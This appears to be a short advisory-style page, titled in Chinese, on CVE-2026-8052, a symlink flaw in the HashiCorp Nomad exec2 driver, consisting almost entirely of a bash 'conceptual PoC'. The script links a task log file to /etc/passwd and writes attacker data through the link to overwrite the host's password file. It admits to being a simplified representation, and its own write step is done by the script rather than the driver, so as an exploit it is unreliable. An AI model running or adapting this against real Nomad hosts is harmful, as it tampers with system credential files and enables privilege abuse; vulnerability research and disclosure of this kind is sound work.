CVE-2026-8052 HashiCorp Nomad exec2符号链接漏洞

#!/bin/bash # Conceptual PoC for CVE-2026-8052: Symlink Attack in Nomad exec2 Driver # This script demonstrates the mechanism of the vulnerability. # Requires: High privileges to submit jobs to Nomad. TARGET_FILE="/etc/passwd" # Target file to read/write on the host SYMLINK_NAME="task_output.log" # File name the driver attempts to write to echo "[+] Step 1: Creating malicious symlink..." # Inside the task's allocated sandbox, create a symlink pointing to a sensitive file. # The exec2 driver might write stdout/stderr or artifacts to this path. ln -sf $TARGET_FILE $SYMLINK_NAME echo "[+] Step 2: Triggering the write operation..." # When the exec2 driver performs operations (e.g., logging output), # it follows the symlink and writes to the actual target file. echo "Malicious data content" > $SYMLINK_NAME echo "[+] Exploit complete. Check $TARGET_FILE for modifications." # Note: This is a simplified representation of the race condition/path traversal logic.